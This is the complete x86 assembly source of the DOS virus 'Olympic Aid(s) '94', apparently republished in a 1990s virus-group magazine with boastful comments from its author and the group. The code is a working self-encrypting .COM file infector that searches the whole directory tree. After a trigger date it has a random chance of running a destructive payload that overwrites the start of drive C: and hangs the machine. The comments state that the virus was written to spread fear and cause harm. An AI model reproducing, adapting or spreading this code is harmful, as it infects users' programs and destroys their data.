; VirusName: Olympic Aid(s) '94 ; Origin : Norway ; Author : The Penetrator ; Date : 1/01/1994 ; ; Hopefully the Olympics at Lillehammer is over when you read this ; shit.This virus was made only for creating fear, and some publicity. ; ; Anyway this is a new selfencrypting non-overwriting *.COM infector... ; And YES, it may (and WILL) harm you. It's a 10% chanse for a Major ; ScrewUp (NO ScrewUps before February the 12th. Just to give it some ; time to spread) ; ; And I have to send some fuckings to Norman Data Defence Systems in ; Drammen, Norway. They is fucking up the BBS scene here in Norway ; right now! ; // The Penetrator/NORWAY ; 컴-컴컴컴-컴컴컴컴컴�--컴컴컴컴컴컴--컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-� ; (Now follows Immortal Riot comments!); ; This is the virus, WE got accused for writing, how silly! Anyhow ; I picked this one up from a dude in Norway, and he told me that ; I could include it in our magazine, or whatever. ; ; It's nothing fancy or something, but hey! it surely was easy ; publicity!, too bad that the papers accused US for doing it.. ; We didn't, this is just a contribution from our friends in Norway, ; that we picked up AFTER we'd got the silly F-bull 2.11, and had to ; investigate the situation. ; ; I've in this version recieved another ansi-screen to include, dunno ; about the last one.. Anyhow, this is as The Penetrate said a non-ow ; .COM infector. It searches the whole directory tree of files to ; infect, thus making it slow when its spreads trough the drive. It's ; also highly destructive (NM.NUKE.VCL.256.TRASH). Some code resembles ; of VCL based code, but if you want to read more about it, just read ; our article about VCL.Olympic also included in Insane Reality issue4. ; ; HAHA!, Norway, Sweden got 24 gold-medals from the Olympic.Games ; (If the ice-hockey counts!!), just as I told you! Haha!, AND give ; my best to Beate (can't you give girls REAL-names in Norway??). ; ; Thanks to All Norweigian contributors // The Unforgiven/Immortal Riot. ; ; 컴-컴컴컴-컴컴컴컴컴�--컴컴컴컴컴컴--컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-� ; OLYMPIC AID(S) '94 ; 컴-컴컴컴-컴컴컴컴컴�--컴컴컴컴컴컴--컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-� code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h ; 컴-컴컴컴-컴 JUST FOR FIRST TIME INSTALLING --�-컴컴컴컴컴컴�-컴컴�-� main proc near db 0E9h,00h,00h ; Near Jump ; 컴-컴컴컴-컴 S T A R T O F V I R I I 컴�--�-컴컴컴컴컴컴�-컴컴�-� start: call find_offset ; Like a PUSH IP find_offset: pop bp ; We love POP'ing push bp ; and PUSH'ing pop bp ; bp's sub bp,offset find_offset ; Adjust for length of host GeneticChange: MOV byte ptr [BP+GeneticChange+4],001h ; call encrypt_decrypt ; Decrypt the virus start_of_code label near lea si,[bp + buffer] ; SI points to original start mov di,0100h ; Push 0100h on to stack for push di ; return to main program movsw ; Copy the first two bytes movsb ; Copy the third byte mov di,bp ; DI points to start of virus mov bp,sp ; BP points to stack sub sp,128 ; Allocate 128 bytes on stack mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer on stack int 021h mov cx,0005h ; Do X infections search_loop: push cx ; Save CX add byte ptr [DI+GeneticChange+4],001h ; Some BullShit!!! call search_files ; Find and infect a file pop cx ; Restore CX loop search_loop ; Repeat until CX is 0 ; 컴-컴컴컴-컴 CHECKING DATE/TIME FOR OLYMPIC START 컴컴컴컴컴�-컴컴�-� CheckDate: mov ah,2ah int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dh=month ; dl=day, al=day-of-week 0=SUN cmp DH,2h ; February jB NoFuckUp cmp DL,12 ; The Olympics is starting jB NoFuckUp ; the 12 th. mov ah,2Ch int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dx=sec cmp DL,10 ; 10 % chanse for... jA NoFuckUp Yeah: jmp OL1994 ; ScrewUp... ; 컴-컴컴컴-컴 RETURN NICELY AND QUIET TO INFECTED FILE 컴컴컴�-컴컴�-� NoFuckUp: pop dx ; DX holds original DTA address mov ah,01Ah ; DOS set DTA function int 021h mov sp,bp ; Deallocate local buffer xor ax,ax ; mov bx,ax ; mov cx,ax ; mov dx,ax ; Empty out the registers mov si,ax ; mov di,ax ; mov bp,ax ; ret ; Return to original program main endp ; 컴-컴컴컴-컴 LET'S LOOK AT THE OLYMPIC RINGS -�-컴컴컴컴컴컴�-컴컴�-� OL1994: mov ah,0Fh ; BIOS get video mode function int 010h xor ah,ah ; BIOS set video mode function int 010h ; (Clear Screen) lea si,[di + AnsiData] ; SI points to data mov cx,AnsiEnd-AnsiData ; Data Length JCXZ Done xor di,di mov ax,0b800h mov es,ax MOV DX,DI ;Save X coordinate for later. XOR AX,AX ;Set Current attributes. CLD LOOPA: LODSB ;Get next character. CMP AL,32 ;If a control character, jump. JC ForeGround STOSW ;Save letter on screen. Next: LOOP LOOPA JMP Short Done ForeGround: CMP AL,16 ;If less than 16, then change the JNC BackGround ;foreground color. Otherwise jump. AND AH,0F0H ;Strip off old foreground. OR AH,AL JMP Next BackGround: CMP AL,24 ;If less than 24, then change the JZ NextLine ;background color. If exactly 24, JNC FlashBitToggle ;then jump down to next line. SUB AL,16 ;Otherwise jump to multiple output ADD AL,AL ;routines. ADD AL,AL ADD AL,AL ADD AL,AL AND AH,8FH ;Strip off old background. OR AH,AL JMP Next NextLine: ADD DX,160 ;If equal to 24, MOV DI,DX ;then jump down to JMP Next ;the next line. FlashBitToggle: CMP AL,27 ;Does user want to toggle the blink JC MultiOutput ;attribute? JNZ Next XOR AH,128 ;Done. JMP Next MultiOutput: CMP AL,25 ;Set Z flag if multi-space output. MOV BX,CX ;Save main counter. LODSB ;Get count of number of times MOV CL,AL ;to display character. MOV AL,32 JZ StartOutput ;Jump here if displaying spaces. LODSB ;Otherwise get character to use. DEC BX ;Adjust main counter. StartOutput: XOR CH,CH INC CX REP STOSW MOV CX,BX DEC CX ;Adjust main counter. LOOPNZ LOOPA ;Loop if anything else to do... Done: ; 컴-컴컴컴-컴 HAAKON & KRISTIN SCREWS UP -----�-컴컴컴컴컴컴�-컴컴�-� TrashHD: CLI ; Disable interrupts mov ax,0002h ; DRIVE C: mov cx,100h ; Sectors (100hex=256DEC!) XOR DX,DX ; Clear DX (start with sector 0) int 026h ; DOS absolute write interrupt EndlessLoop: JMP EndlessLoop ; Boring...ehh??? ; 컴-컴컴컴-컴 FIND FILES 컴컴컴컴컴�--컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-� search_files proc near push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,64 ; Allocate 64 bytes on stack mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 64] ; SI points to 64-byte buffer int 021h mov ah,03Bh ; DOS change directory function lea dx,[di + root] ; DX points to root directory int 021h call traverse ; Start the traversal mov ah,03Bh ; DOS change directory function lea dx,[bp - 64] ; DX points to old directory int 021h mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller root db "\",0 ; Root directory search_files endp traverse proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first function mov cx,00010000b ; CX holds search attributes lea dx,[di + all_files] ; DX points to "*.*" int 021h jc leave_traverse ; Leave if no files present check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? jne another_dir ; If not, try again cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? je another_dir ;If so, keep going mov ah,03Bh ; DOS change directory function lea dx,[bp - 98] ; DX points to new directory int 021h call traverse ; Recursively call ourself pushf ; Save the flags mov ah,03Bh ; DOS change directory function lea dx,[di + up_dir] ; DX points to parent directory int 021h popf ; Restore the flags jnc done_searching ; If we infected then exit another_dir: mov ah,04Fh ; DOS find next function int 021h jnc check_dir ; If found check the file leave_traverse: lea dx,[di + com_mask] ; DX points to "*.COM" call find_files ; Try to infect a file done_searching: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller up_dir db "..",0 ; Parent directory name all_files db "*.*",0 ; Directories to search for com_mask db "*.COM",0 ; Mask for all .COM files traverse endp ; 컴-컴컴컴-컴 FIND MORE FILES 컴컴컴--컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-� find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp ; 컴-컴컴컴-컴 FUCK A FILE 컴컴컴컴컴--컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-� infect_file proc near mov ah,02Fh ; DOS get DTA address function int 021h mov si,bx ; SI points to the DTA mov byte ptr [di + set_carry],0 ; Assume we'll fail cmp word ptr [si + 01Ah],(65279 - (finish - start)) jbe size_ok ; If it's small enough continue jmp infection_done ; Otherwise exit size_ok: mov ax,03D00h ; DOS open file function, r/o lea dx,[si + 01Eh] ; DX points to file name int 021h xchg bx,ax ; BX holds file handle mov ah,03Fh ; DOS read from file function mov cx,3 ; CX holds bytes to read (3) lea dx,[di + buffer] ; DX points to buffer int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h xchg dx,ax ; Faster than a PUSH AX mov ah,03Eh ; DOS close file function int 021h xchg dx,ax ; Faster than a POP AX sub ax,finish - start + 3 ; Adjust AX for a valid jump cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? je infection_done ; If equal then exit mov byte ptr [di + set_carry],1 ; Success -- the file is OK add ax,finish - start ; Re-adjust to make the jump mov word ptr [di + new_jump + 1],ax ; Construct jump mov ax,04301h ; DOS set file attrib. function xor cx,cx ; Clear all attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h mov ax,03D02h ; DOS open file function, r/w int 021h xchg bx,ax ; BX holds file handle mov ah,040h ; DOS write to file function mov cx,3 ; CX holds bytes to write (3) lea dx,[di + new_jump] ; DX points to the jump we made int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h push si ; Save SI through call call encrypt_code ; Write an encrypted copy pop si ; Restore SI mov ax,05701h ; DOS set file time function mov cx,[si + 016h] ; CX holds old file time mov dx,[si + 018h] ; DX holds old file date int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attrib. function xor ch,ch ; Clear CH for file attribute mov cl,[si + 015h] ; CX holds file's old attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed ret ; Return to caller set_carry db ? ; Set-carry-on-exit flag buffer db 090h,0CDh,020h ; Buffer to hold old three bytes new_jump db 0E9h,?,? ; New jump to virus infect_file endp ; 컴-컴컴컴-컴 CRUNCHED OLYMPIC RINGS -컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-� AnsiData: DB 15,16,24,24,24,1,26,17,'� ',15,'L i l l e h a' DB ' m m e r ',39,' 9 4 ',1,26,17,'�',24,24,25,20 DB 'Haakon And Kristin Blew It Up Again...',24,25,19,26,5 DB '�',25,10,8,26,5,'�',25,10,4,26,5,'�',24,25,16,1,'蔔' DB '賽',25,3,'賽白',25,4,8,'蔔賽',25,3,'賽白',25,4,4,'�' DB '幡�',25,3,'賽白',24,25,15,1,'幡',25,8,14,'�',17,'�',1 DB 16,'�',14,'複�',8,'幡',25,8,2,'�',8,18,'�',16,'�',2,'�' DB '複',4,'幡',25,9,'賞',24,25,14,1,'幡',25,6,14,'蔔賽 ' DB 1,'賞 ',8,'幡',14,'白',25,4,2,'蔔賽 ',8,'賞 ',20,' ',0 DB '�',2,16,'白',25,9,4,'賞',24,25,14,1,'白',25,5,14,'�' DB '�',25,3,1,'蔔 ',8,'白 ',14,'賞',25,2,2,'幡',25,3,8,'�' DB '� ',4,'白 ',2,'賞',25,8,4,'蔔',24,25,15,1,'白',25,3,14 DB '幡',25,3,1,'蔔',25,2,8,'白 ',14,'賞 ',2,'幡',25,3,8,'�' DB '�',25,2,4,'白 ',2,'賞',25,6,4,'蔔',24,25,16,1,'賞複' DB ' ',14,'白 ',1,'複幡',25,4,8,'賞',14,'蔔 ',2,'白 ',8,'�' DB '蔔�',25,4,4,'賞',2,'蔔',25,3,4,'複幡',24,25,19,1,'�' DB '賽',14,17,'白',1,16,'�',25,8,14,'蔔',8,'賽�',2,'�',8 DB 18,'�',16,'�',25,8,2,'蔔',4,26,5,'�',24,25,23,14,'賞' DB '複',25,3,'複幡',25,4,2,'賞複',25,3,'複�',0,18,'�',24 DB 16,25,26,14,26,5,'�',25,10,2,26,5,'�',25,12,0,'1',24,1 DB 'This Time They Have Been Fucking Around With The Ol' DB 'ympic Computers, And Managed',24,25,2,'To Infect A ' DB 'Lot Of Your Computers With A Little Tiny Destructiv' DB 'e Virus...',24,24,'Now, Antonio, You Can',39,'t Let' DB ' Them Runaway With This, Punish The Little Bastards' DB '!',24,24,26,'O�',24,24,24,24 AnsiEnd: DB 0 ; 컴-컴컴컴-컴 WRITE ENCRYPTED COPY �--컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-� encrypt_code proc near push bp ; Save BP mov bp,di ; Use BP as pointer to code lea si,[bp + encrypt_decrypt]; SI points to cipher routine xor ah,ah ; BIOS get time function int 01Ah mov word ptr [si + 9],dx ; Low word of timer is new key xor byte ptr [si + 1],8 ; xor byte ptr [si + 8],1 ; Change all SIs to DIs xor word ptr [si + 11],0101h; (and vice-versa) lea di,[bp + finish] ; Copy routine into heap mov cx,finish - encrypt_decrypt - 1 ; All but final RET push si ; Save SI for later push cx ; Save CX for later rep movsb ; Copy the bytes lea si,[bp + write_stuff] ; SI points to write stuff mov cx,5 ; CX holds length of write rep movsb ; Copy the bytes pop cx ; Restore CX pop si ; Restore SI inc cx ; Copy the RET also this time rep movsb ; Copy the routine again mov ah,040h ; DOS write to file function lea dx,[bp + start] ; DX points to virus lea si,[bp + finish] ; SI points to routine call si ; Encrypt/write/decrypt mov di,bp ; DI points to virus again pop bp ; Restore BP ret ; Return to caller write_stuff: mov cx,finish - start ; Length of code int 021h encrypt_code endp end_of_code label near ; 컴-컴컴컴-컴컴컴컴컴�--컴컴컴컴컴컴--컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-� Note db " Olympic Aid(s) '94 " db " (c) The Penetrator " ; 컴-컴컴컴-컴 ENCRYPT/DECRYPT 컴컴컴--컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-� encrypt_decrypt proc near lea si,[bp + start_of_code] ; SI points to code to decrypt mov cx,(end_of_code - start_of_code) / 2 ; CX holds length xor_loop: db 081h,034h,00h,00h ; XOR a word by the key inc si ; Do the next word inc si ; loop xor_loop ; Loop until we're through ret ; Return to caller encrypt_decrypt endp finish label near code ends end main ; 컴-컴컴컴-컴 END OF STORY 컴컴컴컴--컴컴컴�--�-컴컴컴컴컴컴�-컴컴�-�